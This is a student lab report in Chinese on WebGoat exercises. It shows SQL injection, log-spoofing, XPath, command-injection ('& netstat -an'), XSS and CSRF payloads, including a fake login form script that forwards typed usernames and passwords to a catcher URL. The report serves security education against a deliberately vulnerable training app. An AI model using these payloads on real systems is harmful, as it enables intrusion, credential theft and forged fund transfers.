20155313 杨瀚 《网络对抗技术》实验九 Web安全基础

一、实验目的

  • 本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

二、基础问题回答

  • 1.SQL注入攻击原理,如何防御
  • 答:SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

  • 2.XSS攻击的原理,如何防御
  • 答:XSS攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其它用户使用的页面中。

  • 3.CSRF攻击原理,如何防御
  • 答:CSRF(Cross-site request forgery)跨站请求伪造,也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

三、实验内容

第一阶段

  • 1.首先我们来安装一个学习系统Webgoat,然后在里面来进行网络攻击操作。我们先在同学给出的百度云上下载这个压缩包,然后拷入kali中,并在压缩包目录中使用java -jar webgoat-container-7.1-exec.jar这条指令。
  • 等到安装完成以后会显示正在启动,这时候我们就可以在浏览器中运行Webgoat了。
  • 然后我们在浏览器中输入localhost:8080/WebGoat(注意大小写,不然进不去哟)就可以进入这个学习系统。
  • 进入学习系统以后我们可以看到左侧的学习内容。
  • 2.进入学习系统以后我们先进行String SQL Injection(字符串数据库注入?),首先我们在那个文本框里输入Smith,然后在下面会显示Smith的资料。
  • 然后根据文本框下面的数据库语言,我们在文本框中输入'or 1='1,即在数据库语言中形成了名字=''(空集,即所有)or 1=’1(永真式)的判断,结果是会显示所有的用户信息。
  • 3.然后我们进行Log Spoofing(日志伪造),我们通过注入恶意字符串,按照规则伪造出一条登陆成功的日志并实现登陆。
  • 首先我们先在文本框中输入登录名yh,但是我们并不知道密码,所以我们随意输入一个密码,显然登录失败。
  • 然后我们尝试使用yh%0d%0aLogin Succeeded for username: admin输入在登陆名里,密码随意输入,结果显示用户名yh登录失败,但是admin登陆成功。
  • 4.接下来我们进行XPATH Injection(XML路径语言注入?),我们选择一个XML节点,并在不知道用户名和密码的情况下在用户名和密码中分别输入yh' or 1=1 or 'a'='ayh,然后可以看到攻击成功。

  • 5.再接下来我们进行LAB: SQL Injection中的第一项String SQL Injection。我们的目的是使用数据库注入来绕过身份验证,即不需要密码就可以登陆。
  • 参考同学的博客,使用用户Nevile进行登陆,在密码栏中输入' or 1=1 --,但是登录失败。因为查看该网页源代码中显示,这个文本框最多只能输入8个字符。我尝试使用上一个数据库注入的代码’or 1='1,刚好8个字符,结果竟然成功了?
  • 6.再然后我们进行LAB: SQL Injection中的第三项Numeric SQL Injection(数字数据库注入)。我们的目的是通过注入语句浏览到原本无法浏览的信息,通过一个员工Larry,浏览到Boss的账户信息。我们先在上一题中登陆Larry的账户。
  • 然后我们按f12打开网页源代码,如下图中将value=101(即Larry的ID)修改成101 or 1=1 order by salary desc --,这是一种将工资由高到低的一种排序,这样就会在数据库里查找账户数据的时候,第一个查看到老板的账户信息。
  • 结果是我登陆Larry的账户但是却查看到了老板的信息。
  • 7.接着我们进行Database Backdoors(数据库后门)。首先我们输入101查看自己的账户信息。
  • 接下来使用SQL语句101; update employee set salary=20155313进行修改,将薪水修改成20155313?
  • 8.最后我们来做Command Injection(命令注入)。我们通过修改网站源代码来访问本地计算机建立的IP以及系统的网络端口使用情况以及IP地址,尝试注入netstat -an以及ifconfig这两个系统命令。我们在下图源代码的位置添加"& netstat -an & ipconfig"
  • 然后我们在上面的选择框中选择第二项,即我们修改过的选项。
  • 结果我们可以成功查看IP和端口的信息。

第二阶段

  • 1.接下来我们进行XSS跨站脚本攻击,首先我们尝试Phishing with XSS(跨站脚本仿冒攻击)。我们的目的是在一个具有XSS漏洞的页面中,利用XSS和HTML注入达到这些目标。参考提示我们尝试向搜索字段添加HTML以创建假身份验证表单,参照同学的博客我们得到以下代码。
</form>
<script>function hack(){ XSSImage=new Image;XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);}
</script>
<form name="phish">
<br>
<br>
<HR><H2>This feature requires account login:</H2>
<br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass">
<br><input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 我们将以上代码输入到搜索框中并点击搜索,我们就会看到该代码的运行结果,然后我们在用户名和密码一栏输入我们的账户信息,(假装是正确的)结果我们会看到我们输入的内容被弹窗显示了出来。
  • 2.接下来我们尝试进行Stored XSS Attacks(跨站脚本存储攻击)。我们的目的是在这个sumit的操作上添加一个html的标签。这很简单,我们在Title中随意输入一个抬头,然后在Message中输入<script>alert("20155313");</script>一个script的弹窗模块即可完成。
  • 3.最后我们尝试进行Reflected XSS Attacks(跨站脚本反射攻击)。我们在第一个输入文本框随意输入一个银行卡卡号(输入的当然是假的咯),然后输入银行卡最后三位验证码的输入文本框中输入<script>alert("20155313");</script>,然后点击购买就会显示弹窗,但是同时会显示购买成功?所以你只要知道别人的银行卡卡号就可以随便买东西咯?

第三阶段

  • 1.最后我们来进行CSRF跨站请求伪造攻击。首先我们尝试的是Cross Site Request Forgery(CSRF),我们的目的是发送一段包含恶意代码的图片,然后通过设置让被攻击者看不到这个图片。我们在message中输入<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额' width='1' height='1'>这个格式,其中的src和mune的值参考下面的表格。
  • 提交以后点击下面的bonsai按钮刷新以后就会显示攻击成功。

  • 2.最后的最后我们进行CSRF Prompt By-Pass(绕过CSRF确认攻击)。我们在message的文本框中输入下面的代码,其中的src和menu值参考下面的表格。
    <iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe> <iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>
  • 点击提交以后点击下面的Title名就会显示下面攻击成功的界面。

转载于:https://www.cnblogs.com/bonsai/p/9097562.html

20155313 杨瀚 《网络对抗技术》实验九 Web安全基础相关推荐

  1. 2019-2020-2 20175212童皓桢《网络对抗技术》 Exp9 Web安全基础

    2019-2020-2 20175212童皓桢<网络对抗技术> Exp9 Web安全基础 目录 1. 实验目标 2. 实验内容 2.1 SQL注入攻击 2.1.1 命令注入(Command ...

  2. 2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

    2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入 ...

  3. 2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础

    2018-2019-2 网络对抗技术 20165322 Exp9 Web安全基础 目录 实验内容与步骤 (一)Webgoat安装 (二)SQL注入攻击 1.命令注入(Command Injection ...

  4. 2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

    2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递 ...

  5. 20164317《网络对抗技术》Exp9 Web安全基础

    Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在 ...

  6. 2018-2019-2 20165330《网络对抗技术》Exp9 Web安全基础

    目录 基础问题 实验目的 实验内容 实验步骤 实验总结与体会 实验目的 本实践的目标理解常用网络攻击技术的基本原理. 返回目录 实验内容 WebGoat准备工作 SQL注入攻击 命令注入(Comman ...

  7. 2018-2019-2 网络对抗技术 20165202 Exp9 Web安全基础

    博客目录 一.实践内容 跨站脚本攻击XSS 跨站请求伪造CSRF SQL注入攻击 二.实验中遇到的问题及解决 三.基础问题回答 四.实验总结 一.实践内容 本实践的目标理解常用网络攻击技术的基本原理. ...

  8. 2018-2019-2 20165222《网络对抗技术》Exp9 Web安全基础

    1.实践过程记录 1.字符串型注入. 2.整数型注入 3.注入语句查看其他内容 4.xss是一种漏洞,这种漏洞允许用户输入脚本并且浏览器提交的时候不加编码.这种东西是最为流行并且有害的web应用的问题 ...

  9. 2017-2018-2 20155314《网络对抗技术》Exp8 Web基础

    2017-2018-2 20155314<网络对抗技术>Exp8 Web基础 目录 实验内容 实验环境 基础问题回答 预备知识 实验步骤 1 macOS下Apache的配置 2 macOS ...

  10. 中国人民公安大学 网络对抗技术 实验一

    中国人民公安大学 Chinese people' public security university 网络对抗技术 实验报告   实验一 网络侦查与网络扫描     学生姓名 杨鹏飞 年级 2015 ...

最新文章

  1. Java定义接口变量为接收类型有什么好处(面向接口编程)
  2. 一次 JVM 调优的笔记
  3. JavaScript MVC框架和语言总结[infoq]
  4. Mac安装PhoneGap3
  5. java中浮点数的表示_java 浮点数表示法
  6. 2018牛客网暑期ACM多校训练营(第十场)A Rikka with Lowbit (树状数组)
  7. 2013第39周一Web打印
  8. 读ImageCropper源码
  9. gitlab merge request
  10. 页面上拖动图片进行排序
  11. 【批处理学习笔记】第九课:批处理符号(2)
  12. 服务器imm装系统,通过IMM With Remote Console为服务器安装操作系统
  13. imagej得到灰度图数据_老司机带你解锁ImageJ实用技巧(下)
  14. C# 将图片转成字符画
  15. 【产品经理】产品经理进阶之路-大纲
  16. 线性代数笔记——第一章行列式
  17. 如何判断一个文件的编码格式是gb2312还是gbk等
  18. GitHub 报告揭示香港码农大爆发,老实的程序员:转行只因工资高!
  19. 一淘报告引发2012电商首战 当当再战京东
  20. Redis-Lua语言:简单小巧但功能强大

热门文章

  1. SpringBoot实现简易支付宝网页支付
  2. 计算机网络的基本组成包括哪些,计算机网络的基本组成是什么?
  3. IMAP4协议介绍nbsp;工作原理
  4. 用c语言编写超级马里奥_编写《超级马里奥兄弟》游戏以学习游戏开发
  5. 计算机毕设(附源码)JAVA-SSM基于远程协作的汽车故障诊断系统
  6. 详解JAVA实现支付宝接口编程
  7. 猜姓氏c语言题目,猜姓氏游戏及其数学原理
  8. JavaScript九九乘法口诀表
  9. MathType如何编辑大三角形符号
  10. 符号三角形_dfs算法